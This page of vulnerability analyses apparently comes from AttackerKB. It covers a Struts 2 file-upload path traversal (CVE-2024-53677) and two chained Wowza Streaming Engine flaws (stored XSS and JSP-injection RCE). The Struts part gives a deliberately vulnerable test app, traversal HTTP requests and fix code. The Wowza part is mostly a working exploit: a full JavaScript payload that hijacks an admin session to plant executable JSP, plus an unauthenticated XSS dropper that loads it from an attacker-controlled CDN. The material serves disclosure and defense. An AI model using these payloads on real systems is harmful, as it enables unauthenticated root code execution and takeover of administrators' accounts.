remmons-r7 (56)
Last Login: December 18, 2024
remmons-r7's Latest (16) Contributions
Technical Analysis
CVE-2024-53677 is a flawed upload logic vulnerability in Apache Struts 2. The vulnerability permits an attacker to override internal file upload variables in applications that use the Apache Struts 2 File Upload Interceptor. Malicious uploaded files with relative path traversal sequences in the name result in arbitrary file write, facilitating remote code execution in many scenarios. This vulnerability is similar to CVE-2023-50164, but remediation is more challenging; patching applications requires that the developers rewrite all affected file upload code, since, based on our testing, merely upgrading the framework dependency to a “fixed” version does not prevent exploitation. The 6.4.0 version mentioned in the ‘Solution’ section of the advisory was released in April of 2024 and does not appear to contain a fix for the vulnerability, nor do any later 6.x releases (as of December 18, 2024) — including the latest release in the 6.x version stream (6.7.0).
File Upload Interceptor
The File Upload Interceptor in Struts 2 is used for binding uploaded file content, the file’s name, and its content type to specific properties in the action class. It’s intended to be a trusted method of filtering uploaded files, including limiting permissible file types, capping file sizes, safely translating incoming file names, and more. With the release of Struts 2 version 6.4.0, the use of File Upload Interceptor is now intended to be deprecated — developers are meant to use the Action File Upload Interceptor instead, and the Apache maintainers have stated that File Upload Interceptor should no longer be used.
However, based on testing, it does not appear to have been removed or patched in 6.4.0, or any other 6.x version. Instead, File Upload Interceptor is marked “deprecated”, but it still exists and appears to operate in a vulnerable manner on all tested 6.x versions of Struts 2. Furthermore, even explicitly changing interceptor values from “fileUpload” to ”actionFileUpload” in Struts XML definition files for 6.x applications appears to silently fall back to using the vulnerable File Upload Interceptor without additional necessary code-level changes.
Vulnerability Impact
Because Apache Struts 2 is a popular framework for application development, it’s possible that CVE-2024-53677 could potentially affect a reasonably broad swath of (particularly legacy) applications. CVE-2024-53677 specifically is confusing and difficult to patch, and the impact can be unauthenticated RCE. As such, I’ve rated “Attacker Value” as “High”. However, much like CVE-2023-50164, a similar Apache Struts vulnerability from 2023, payloads for CVE-2024-53677 will need to customized on a per-target basis in most (if not all) cases. Because of the bespoke payload requirement, I’ve rated “Exploitability” as “Low”. It’s been reported that exploitation in the wild is taking place. However, these payloads do not appear to be valid payloads for CVE-2024-53677, so it remains to be seen how much successful exploitation in the wild will occur.
Defenders should know that simply updating to Struts 2 >= 6.4.0 is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor (<interceptor-ref name="fileUpload"/>
) will need to be refactored to use Action File Upload Interceptor (<interceptor-ref name="actionFileUpload"/>
) instead. As mentioned above, attention to detail is vital during patching, since Struts 6.x file uploads will default to the vulnerable File Upload Interceptor without code-level changes, even if “actionFileUpload” interceptor is explicitly specified in Struts XML files. More on this can be found in the “Mitigation Guidance” section.
For detection purposes, payloads will be bespoke, but all working payloads should contain either the upload field name pattern top.{CAPITALIZED_UPLOAD_NAME}FileName
(single-file upload) or {UPLOAD_NAME}FileName[0]
(multi-file upload).
Exploitability
There are several important prerequisites and details for exploitation of CVE-2024-53677:
- Exploitation requires knowledge of, and access to, an upload endpoint that uses a File Upload Interceptor. In practical terms, an attacker must have the ability to upload files to a Struts 2 application via a web page or API endpoint.
- White box code visibility is not necessary, making black box exploitation viable. Knowledge of the upload form field names is required, but this data will be pre-populated or documented for most web applications and APIs.
- Whether or not authentication is required for exploitation depends on whether file upload functionality is accessible without authentication. For example, Struts 2 applications with a vulnerable file upload in a public “Contact Us” form would be exploitable for traversal writes without authentication; a vulnerable file upload on an admin-only web page would require high privileges to exploit.
- Exploitation is bespoke, since each vulnerable application is likely to implement file uploads in a unique way. Payloads will differ if multiple form fields are expected by the target software. A single file-only upload page requires a different payload than, for example, an upload endpoint that expects two files and a text description. Automated payload spraying will likely take place, but threat actors will need to develop payloads for each affected target piece of software.
- Some applications may contain secondary manual checks and sanitization of file names as an additional defensive measure. In that scenario, if those measures are implemented effectively, exploitation will not be viable.
Technical Analysis
Security researcher Y4tacker published an excellent analysis of the vulnerability, which this high-level analysis is based on. Similar to CVE-2023-50164, the modification of name capitalization on some web request form fields permits an attacker to confuse the internal Struts data processing logic to incorrectly bind parameters. As outlined in the Y4tacker analysis, the exploited code path differs between single-file uploads and multi-file uploads. However, the same capitalization-based parameter binding confusion premise is used to control those different internal values.
The following vulnerable web application was created for testing the single-file upload scenario. The interceptor <interceptor-ref name="fileUpload">
, the File Upload Interceptor, is used in our XML Struts definition file. Note: the absence of a “fileUpload” interceptor definition in XML does not necessarily mean that the application is not vulnerable. More on this in the mitigation section.
$ tree -a src/ src/ └── main ├── java │ └── com │ └── example │ └── UploadAction.java ├── resources │ └── struts.xml └── webapp ├── index.jsp ├── upload.jsp └── WEB-INF └── web.xml $ cat src/main/resources/struts.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <package name="default" extends="struts-default"> <action name="upload" class="com.example.UploadAction"> <interceptor-ref name="fileUpload"> <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param> <param name="maximumSize">5242880</param> <!-- 5MB --> </interceptor-ref> <interceptor-ref name="defaultStack" /> <result name="success">upload.jsp</result> <result name="error">upload.jsp</result> </action> </package> </struts> $ cat src/main/webapp/WEB-INF/web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> $ cat src/main/webapp/index.jsp <%@ page contentType="text/html; charset=UTF-8" %> <html> <body> <h1>Upload</h1> <form action="upload" method="post" enctype="multipart/form-data"> <label for="file">Select a file:</label> <input type="file" name="upload" id="file" /> <br><br> <input type="submit" value="Upload File" /> </form> </body> </html> $ cat src/main/webapp/upload.jsp <%@ page contentType="text/html; charset=UTF-8" %> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <body> <h1>Upload Result</h1> <s:property value="message" /> <br> <a href="index.jsp">Back</a> </body> </html>
Our primary upload logic is in UploadAction.java
, where we’ll use a typical File Upload Interceptor-based file upload pattern. We’ll define an uploads directory, create a new file by concatenating uploadFileName
(which is supposed to be safe) with our directory path, then copy the temporary file that exists in the Tomcat temp directory to the new location. We do not perform any sanitization, since Struts is expected to take care of that for us.
package com.example; import java.io.File; import java.io.IOException; import org.apache.commons.io.FileUtils; public class UploadAction { private File upload; private String uploadFileName; private String uploadContentType; private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads"; public String execute() { try { System.out.println("Src File name: " + upload); System.out.println("Dst File name: " + uploadFileName); File destFile = new File(UPLOAD_DIRECTORY, uploadFileName); FileUtils.copyFile(upload, destFile); } catch(IOException e) { e.printStackTrace(); return "error"; } return "success"; } public File getUpload() { return upload; } public void setUpload(File upload) { this.upload = upload; } public String getUploadContentType() { return uploadContentType; } public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; } public String getUploadFileName() { return uploadFileName; } public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; } }
We’ll compile the application, copy the WAR file to the Tomcat directory, then restart the service.
$ mvn clean package && sudo cp target/Struts2FileUpload.war /var/lib/tomcat9/webapps/ && sudo systemctl restart tomcat9.service
If we submit the following POST request, which contains a simple traversal attempt in the file name, the traversal is stripped, the console logs Dst File name: testwrite.txt
, and the file is written to the appropriate directory.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 682 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="upload"; filename="../testwrite.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK
$ ls /var/log/tomcat9/struts_uploads/ testwrite.txt
Next, we’ll attempt to clobber top.uploadFileName
, the internal OGNL value used by Struts 2 for single-file uploads, as discussed in the Y4tacker analysis. As shown in the code, our input matches the file upload (called upload
), and we’re targeting the internal top
value of the OGNL value stack. However, we aren’t capitalizing “upload” in “uploadFileName” to confuse the upload data handling logic. Because of that, this attempt should also fail.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 319 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="upload"; filename="testwrite2.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.uploadFileName" ../testwrite2.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
The traversal is stripped again, and the file write is sane.
$ ls /var/log/tomcat9/struts_uploads/ testwrite2.txt testwrite.txt
Lastly, we’ll send a capitalized payload to confuse the parameter binding process and gain control of the top
OGNL stack value, as described in the Y4tacker analysis.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 319 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="Upload"; filename="testwrite3.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.UploadFileName" ../testwrite3.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
This time, the console logs Dst File name: ../testwrite3.txt
and the file traversal results in the file being written in the parent tomcat9
directory.
$ ls /var/log/tomcat9/testwrite3.txt /var/log/tomcat9/testwrite3.txt
No patch analysis is provided in this write up, since it appears that no patch was issued for the vulnerability. The recommended 6.4.0 version does not patch the vulnerability, nor does any other 6.x version (as of December 18, 2024). Instead, Apache Struts now recommends that Action File Upload Interceptor should be used instead of File Upload Interceptor, and File Upload Interceptor has been removed in v7.x. The new Action File Upload Interceptor does not appear to offer sanitized file names as a feature, instead opting to leave that for developers using the framework.
Mitigation guidance
Updating to Struts 2 >= 6.4.0 on 6.x is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor will need to be refactored to use Action File Upload Interceptor instead.
Below, we’ll show an example of how to convert the vulnerable file upload example above to a non-vulnerable one. Apache Struts documentation demonstrates examples here and here. It’s vital to note that it appears that the Struts framework no longer indicates it will take responsibility for sanitizing file names when using Action File Upload Interceptor. This will be a departure from the norm for Struts developers, since the previous File Upload Interceptor was designed to sanitize tainted file names. Instead, using the new Action File Upload Interceptor, developers must either sanitize the tainted data provided by getOriginalName()
or specify a new name for the file.
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <package name="default" extends="struts-default"> <action name="upload" class="com.example.UploadAction"> <!-- Include Action File Upload Interceptor explicitly --> <interceptor-ref name="actionFileUpload"> <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param> <param name="maximumSize">5242880</param> <!-- 5MB --> </interceptor-ref> <interceptor-ref name="defaultStack" /> <result name="success">upload.jsp</result> <result name="error">upload.jsp</result> </action> </package> </struts>
Note: If only the XML changes shown above are made, without making the code-level changes shown below, Struts appears to silently fall back to using File Upload Interceptor instead of Action File Upload Interceptor. In that scenario, without code-level changes, CVE-2024-53677 will remain exploitable.
Along with some new imports, we’ll modify our UploadAction
class to extend ActionSupport
and implement UploadedFilesAware
. Referencing the Action File Upload Interceptor implementation examples, we’ll also define an override withUploadedFiles
method. Per the documentation, we’re now working with the fileName
and originalFileName
variables, sourced via UploadedFile.getName()
and UploadedFile.getOriginalName()
, respectively.
package com.example; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.List; import com.opensymphony.xwork2.ActionSupport; import org.apache.struts2.action.UploadedFilesAware; import org.apache.struts2.dispatcher.multipart.UploadedFile; public class UploadAction extends ActionSupport implements UploadedFilesAware { private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads"; private UploadedFile upload; private String contentType; private String fileName; private String originalFileName; @Override public void withUploadedFiles(List<UploadedFile> uploadedFiles) { if (!uploadedFiles.isEmpty()) { this.upload = uploadedFiles.get(0); this.fileName = upload.getName(); // On Tomcat, this is the temporary file name that contains no user input. this.contentType = upload.getContentType(); this.originalFileName = upload.getOriginalName(); // This is the original file name, and it is not sanitized or validated. } } public String execute() { try { System.out.println("Src File: " + upload); System.out.println("Dst File name: " + fileName); System.out.println("Orig File name: " + originalFileName); File destFile = new File(UPLOAD_DIRECTORY, fileName); File sourceFile = (File) upload.getContent(); Files.copy(sourceFile.toPath(), destFile.toPath(), StandardCopyOption.REPLACE_EXISTING); } catch (IOException e) { e.printStackTrace(); return ERROR; } return SUCCESS; } }
After compiling and copying the WAR file to the Tomcat directory, we perform a malicious web request containing traversal file name values to the modified application.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 354 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="Upload"; filename="../shouldbefixed_FILENAME.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.UploadFileName" ../shouldbefixed_INJECTEDFILENAME.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
In the Catalina log file, we observe that the traversal sequence is present in originalFileName
, but fileName
contains a temporary file name.
[info] Src File: StrutsUploadedFile{contentType='text/plain', originalName='../shouldbefixed_FILENAME.txt', inputName='Upload'} [info] Dst File name: upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp [info] Orig File name: ../shouldbefixed_FILENAME.txt
As indicated in the code example above, the file is written with the name “upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp”.
References:
Technical Analysis
Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to high-privilege remote code execution via the Manager HTTP service (port 8088). An authenticated Wowza Streaming Engine administrator can define a custom application property and poison a stream target for remote code execution as root on the host system. Notably, this vulnerability can be chained with CVE-2024-52053 by an unauthenticated attacker to automatically trigger arbitrary code execution on the server when an admin views the dashboard.
Target Software
Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.
Analysis
Wowza Streaming Engine administrators can create new video applications from the Streaming Engine Manager web dashboard. In addition to a variety of default application properties, custom properties can be assigned as key-value entries in video application settings.
Furthermore, Wowza Streaming Engine features the ability to configure video applications to distribute live streams to CDNs. As outlined in the documentation, the custom application property pushPublishMapPath
can be set to assign a JSON map file for stream targets. The recommended value is ${com.wowza.wms.context.VHostConfigHome}/conf/${com.wowza.wms.context.Application}/PushPublishMap.txt
. An example of one such newly generated empty PushPublishMap.txt
file is below.
# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing.
Though the file is empty by default, Stream Targets can be configured to populate the file. The screenshots below depict this taking place for an ‘evilapp0’ Live Edge application. Placeholder data is submitted in form fields.
After clicking “Add this target”, a JSON string is added on a new line in the PushPublishMap.txt
file.
# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing. name={"entryName":"target name", "profile":"rtmp", "wowzaVideoTranscoder.height":"0", "userName":"username", "streamName":"stream name", "wowzaVideoTranscoder.width":"0", "password":"password", "application":"destination", "destinationName":"wowzastreamingengine", "host":"host", "appInstance":"dest instance"}
Crucially, the expected “.txt” extension for the previously mentioned pushPublishMapPath
property value is not validated. As a result, the file name, path, and extension for the above PushPublishMap
file can be arbitrarily specified to facilitate remote code execution. In the context of a JSP web application, files in the web root with a “.jsp” extension will be treated as executable files.
An authenticated attacker can forego the recommended file path and name in favor of ${com.wowza.wms.context.VHostConfigHome}/manager/temp/webapps/enginemanager/static/PushPublishMap.jsp
, which results in a file written in the web root directory with an executable JSP extension. As we’ve established, tainted data is included in the PushPublishMap
file within JSON rows. Because of this, arbitrary JSP code can be injected into our executable file via the ‘userName’ JSON key value to gain remote code execution on the server.
Notably, in this JSON context, double quotes and commas are “bad characters” for Stream Target data; if bad characters are submitted in the Stream Targets fields, the resulting JSON data is truncated with a ‘null’ row. An example of this is shown below.
# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing. null={"entryName":"StreamTarget-1721859230601", "profile":"unknown", }
Now, we’ll show an example of arbitrary remote code execution via JSP injection within the ‘userName’ JSON key value. The StringBuilder
class is used in our proof-of-concept exploit, since single quotes work for char definitions and double quotes can’t be used for string definitions. Multiple directive attributes are used for imports to avoid comma bad characters. When the malicious JSP file is accessed from a web browser, the code will execute and a new file called “rce” will be created in the /tmp
folder on the host. This payload is shown below.
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><% StringBuilder filePath = new StringBuilder(); filePath.append('/').append('t').append('m').append('p').append('/').append('r').append('c').append('e'); String concatFile = filePath.toString(); File file = new File(concatFile); file.createNewFile(); %>
After injecting the payload into the JSON via userName
, browsing to the newly-written PushPublishMap.jsp
file reveals that the file is in the expected location. The JSP scripts injected into the userName
value are not visible, indicating that they’ve been processed by the Java web server. Since the page returns a “200” status, the code appears to have been executed successfully.
This is confirmed by viewing the /tmp
directory on the host, where a root-owned file called “rce” has been created. This indicates remote code execution on the host has been achieved.
Per Wowza documentation, the code execution context is privileged – root on Linux, LocalSystem on Windows. The AttackerKB entry for CVE-2024-52053 contains an exploit payload that chains an unauthenticated injection vulnerability with CVE-2024-52052 for unauthenticated root RCE with passive user interaction.
Technical Analysis
Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to stored Cross-Site Scripting (XSS). An attacker with unauthenticated access to the Streaming Engine Manager HTTP service (port 8088) can inject JavaScript into application logs. When an administrator views the log dashboard, the injected code will automatically execute and hijack the administrator’s account. Notably, this vulnerability can be chained with CVE-2024-52052 by an unauthenticated attacker to automatically run arbitrary code on the server with high privileges when an admin views the dashboard.
Target Software
Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.
Analysis
When a user fails to login to Wowza Streaming Engine Manager, the log file at manager/logs/wmsmanager_access.log
is updated with the failed login.
2024-07-24 12:41:58 CDT server - WARN server REST API: Authentication-401: Accessed denied for user:doesnotexist 2024-07-24 12:41:58 CDT server - INFO server WowzaHttpSessionListener.sessionCreated: 3250824A53666E6128430CD2451CEE96
The administrator dashboard contains a ‘Logs’ tab that displays Wowza Streaming Engine Manager log data. Client-side code on the dashboard makes a request to the /enginemanager/server/logs/getlog.jsdata
API endpoint, which returns JSON containing log file data. An example of this JSON log data for the above login failure is shown below. Note that the attacker-provided username is embedded in the JSON.
"logLines":[{"data":["WARN ","<b>2024-07-30</b><br>12:41:58 (CDT)","server","<b>server</b><br>-","REST API: Authentication-401: Accessed denied for user:doesnotexist"]}]
Client-side JavaScript embedded in /enginemanager/Home.htm
, which is used by the ‘Logs’ dashboard, unsafely uses innerHTML to write this attacker-provided data to the DOM. At [1], the tainted data that is sourced from the API’s JSON response is assigned to a variable. At [2], JavaScript’s innerHTML is used, unsafely concatenating the attacker’s input into the DOM.
function addTableData(tbody, tableHeadings, logLines, prepend) { // for each entry in the logLines list add a row to the table body for(var i = 0; i < logLines.length; i++) { var data = logLines[i].data; var tr ; if (prepend) { tr = tbody.insertRow(0); } else { tr = tbody.insertRow(); } // for each table column, get the cell text from logline data for (var j = 0; j < tableHeadings.length; j++) { var text = data[j]; // [1] var td = tr.insertCell(j); var cellDiv = document.createElement("div"); td.appendChild(cellDiv); cellDiv.style.wordWrap = 'break-word'; if (text == "ERROR") text = "<div style='font-size: 23px'><I class='fa fa-times-circle' style='color:#b94a48'></i></div>"; else if (text == "WARN") text = "<div style='font-size: 23px'><I class='fa fa-exclamation-triangle' style='color:#fbab00'></i></div>"; else if (text == "DEBUG") text = "<div style='font-size: 23px'><I class='fa fa-bug' style='color:#3CA91F'></i></div>"; else if (text == "INFO") text = "<div style='font-size: 23px'><I class='fa fa-exclamation-circle' style='color:#3d73a5'></i></div>"; cellDiv.innerHTML = text; // [2] } } }
The screenshot below depicts hitting a breakpoint in the Chrome Developer Tools when cellDiv.innerHTML
is used to unsafely concatenate tainted log data into the DOM.
Since the Spring framework does not encode usernames that fail logins, an unauthenticated attacker can inject JavaScript in the j_username
parameter with an invalid password. When an administrator views the ‘Logs’ dashboard, the JavaScript will automatically execute and hijack their browser.
Exploit
The unauthenticated JavaScript injection can be chained with CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 to exfiltrate or delete any files on the server. However, in this case, we’ll chain CVE-2024-52053 with CVE-2024-52052, an admin-level JSP injection vulnerability, for server-side remote code execution as root. With this exploit, an unauthenticated attacker can plant a JavaScript payload in the administrator dashboard, then automatically execute arbitrary code on the server when the administrator views the dashboard.
Below is wowza.js
, which should be hosted on any CDN. The proof-of-concept exploit will execute JSP code to create the file /tmp/rce
.
async function hitPage(e) { const t = `${window.location.origin}/enginemanager/static/${e}.jsp`; try { const e = await fetch(t, { method: "GET", credentials: "include" }); e.ok || console.error("failed to fetch targ:", e.status) } catch (e) { return console.error("error during fetch targ:", e), null } } async function getCSRFToken() { const e = `${window.location.origin}/enginemanager/Home.htm`; try { const t = await fetch(e, { method: "GET", credentials: "include" }); if (!t.ok) return console.error("failed to fetch CSRF:", t.status), null; const o = await t.text(), a = new DOMParser, s = a.parseFromString(o, "text/html").querySelector('meta[name="wowzaSecurityToken"]'); return s ? s.getAttribute("content") : (console.error("CSRF not found in resp"), null) } catch (e) { return console.error("error fetching CSRF:", e), null } } async function createApplication(e, t) { const o = window.location.origin, a = `${o}/enginemanager/applications/new.htm`, s = `uiAppName=${encodeURIComponent(e)}&ignoreWarnings=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appType=LiveEdge&primaryURL=`; try { const e = await fetch(a, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: s, credentials: "include" }); e.ok ? console.log("app create!") : console.error("failed app create:", e.status) } catch (e) { console.error("app error:", e) } } async function setApplicationProperties(e, t) { const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/main/edit_adv.htm`, a = `vhost=_defaultVHost_&uiAppName=${encodeURIComponent(e)}&appType=${encodeURIComponent(e)}§ion=main&advSection=Custom&customList%5B0%5D.documented=false&customList%5B0%5D.enabled=true&customList%5B0%5D.type=Boolean&customList%5B0%5D.sectionName=Application&customList%5B0%5D.section=%2FRoot%2FApplication&customList%5B0%5D.name=securityPublishRequirePassword&customList%5B0%5D.removed=false&customList%5B0%5D.uiBooleanValue=true&customList%5B1%5D.documented=false&customList%5B1%5D.enabled=true&customList%5B1%5D.type=String&customList%5B1%5D.sectionName=Application&customList%5B1%5D.section=%2FRoot%2FApplication&customList%5B1%5D.name=pushPublishMapPath&customList%5B1%5D.removed=false&customList%5B1%5D.value=%24%7Bcom.wowza.wms.context.VHostConfigHome%7D%2Fmanager%2Ftemp%2Fwebapps%2Fenginemanager%2Fstatic%2F${encodeURIComponent(e)}.jsp&advPath=%2FRoot%2FApplication&wowzaSecurityToken=${encodeURIComponent(t)}`; try { const e = await fetch(o, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: a, credentials: "include" }); e.ok ? console.log("prop set!") : console.error("prop set fail:", e.status) } catch (e) { console.error("prop set error:", e) } } async function addStreamTarget(e, t) { const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/streamtarget/add.htm`, a = `enabled=true&protocol=RTMP&destinationName=wowzastreamingengine&destApplicationRequired=true&destAppInstanceRequired=false&usernameRequired=false&passwordRequired=false&wowzaCloudDestinationType=&facebookUserName=&facebookAccessToken=&facebookDestName=&facebookDestId=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv2%2Fprod&wowzaFacebookAppId=670499806386098&wowzaCloudAdaptiveStreaming=true&protocolAkamai=RTMP&protocolShoutcast=shoutcast2&streamTargetName=x&sourceStreamName=x&sourceStreamNamePrefix=&shoutcastHost=&shoutcastPort=&shoutcastUsername=&shoutcastPassword=&shoutcastDestination=&shoutcastDescription=&shoutcastName=&shoutcastGenre=&shoutcastMetaFormat=&shoutcastURL=&shoutcastAIM=&shoutcastICQ=&shoutcastIRC=&_shoutcastPublic=on&destApplication=x&alibabaDestApplication=&destAppInstance=x&destHostRTMP=x&destPortRTMP=1935&destStreamNameRTMP=x&username=%3C%25%40+page+import%3D'java.io.*'+%25%3E%3C%25%40+page+import%3D'java.util.*'+%25%3E%3Ch1%3Ebbbaaaa%3C%2Fh1%3E+%3C%25+StringBuilder+filePath+%3D+new+StringBuilder()%3B+filePath.append('%2F').append('r').append('c').append('e')%3B+String+concatFile+%3D+filePath.toString()%3B+File+file+%3D+new+File(concatFile)%3B+file.createNewFile()%3B+%25%3E&password=x&alibabaDestPortRTMP=1935&alibabaDestStreamNameRTMP=&akamaiStreamIdRTMP=&_akamaiSendToBackupServer=on&destStreamNameRTP=&destHostRTP=&videoPort=&audioPort=&streamWaitTimeout=5000&timeToLiveRTP=63&srtDestHost=&srtDestPort=&srtLatency=400&srtTooLatePacketDrop=true&_srtTooLatePacketDrop=on&srtTimestampBasedDeliveryMode=true&_srtTimestampBasedDeliveryMode=on&srtSendBufferSize=12058624&srtSendBufferSizeUDP=65536&srtMaximumSegmentSize=1500&srtFlightFlagSize=25600&srtMaximumBandwidth=-1&srtInputBandwidth=0&srtOverheadBandwidth=25&srtConnectTimeout=3000&srtStreamId=&srtPeerIdleTimeout=5000&srtTimesToPrintStats=0&srtKeyLength=AES-128&srtPassPhrase=&srtKeyRefreshRate=16777216&srtKeyAnnounce=4096&destStreamNameMPEGTS=&destHostMPEGTS=&destPortMPEGTS=1935&timeToLiveMPEGTS=63&_rtpWrap=on&destStreamNameHTTP=&destHostHTTPAkamai=&playbackHost=&akamaiStreamIdHTTP=&akamaiHostId=&httpPlaylistCount=0&akamaiEventName=&adaptiveGroup=&akamaiDestinationServer=primary&cupertinoRenditionAudioVideo=true&_cupertinoRenditionAudioVideo=on&_cupertinoRenditionAudioOnly=on&sanjoseRepresentationId=&mpegdashVideoRepresentationId=&mpegdashAudioRepresentationId=&facebookTitle=&facebookDescription=&facebook360Projection=none&facebookDestType=timeline&facebookPrivacy=onlyMe&wowzaVideoRegion=us&wowzaVideoTranscoderRegion=asia_pacific_australia&wowzaVideoTranscoderHeight=720&wowzaVideoTranscoderWidth=1280&wowzaVideoApiToken=&connectionCode=&_autoStart=on&wowzaCloudABRRadio=multiple&wowzaCloudDestinationServer=primary&debugLog=false&debugLogChildren=false&sendSSL=false&secureTokenSharedSecret=&adaptiveStreaming=false&sendFCPublish=true&sendReleaseStream=true&sendStreamCloseCommands=true&removeDefaultAppInstance=true&sendOriginalTimecodes=true&originalTimecodeThreshold=0x100000&connectionFlashVersion=&queryString=&localBindAddress=&debugPackets=false&akamaiHdNetwork=true&httpPlaylistAcrossSessions=false&httpPlaylistTimeout=120000&httpFakePosts=false&httpWriterDebug=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appName=${encodeURIComponent(e)}&apiToken=`; try { const e = await fetch(o, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: a, credentials: "include" }); e.ok ? console.log("stream target set!") : console.error("failed stream targ set:", e.status) } catch (e) { console.error("stream targ error:", e) } }(async () => { const e = "PushPublishMap", t = await getCSRFToken(); t && (await createApplication(e, t), await setApplicationProperties(e, t), await addStreamTarget(e, t), await hitPage(e)) })();
The XSS dropper web request, which is performed by an unauthenticated attacker, is below. This will poison the dashboard and automatically trigger server-side remote code execution when an admin views the poisoned interface.
POST /enginemanager/j_spring_security_check?wowza-page-redirect= HTTP/1.1 Host: TARGET:8088 Content-Length: 238 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 wowza-page-redirect=&j_username=x"<img src=x onerror="(function() {var mal=document.createElement('script');mal.src = 'http://my.evilcdn.com/wowza.js';document.head.appendChild(mal);})();"</script> />&j_password=x&host=http://localhost:8087
After an administrator views the dashboard, remote code execution is established.
Technical Analysis
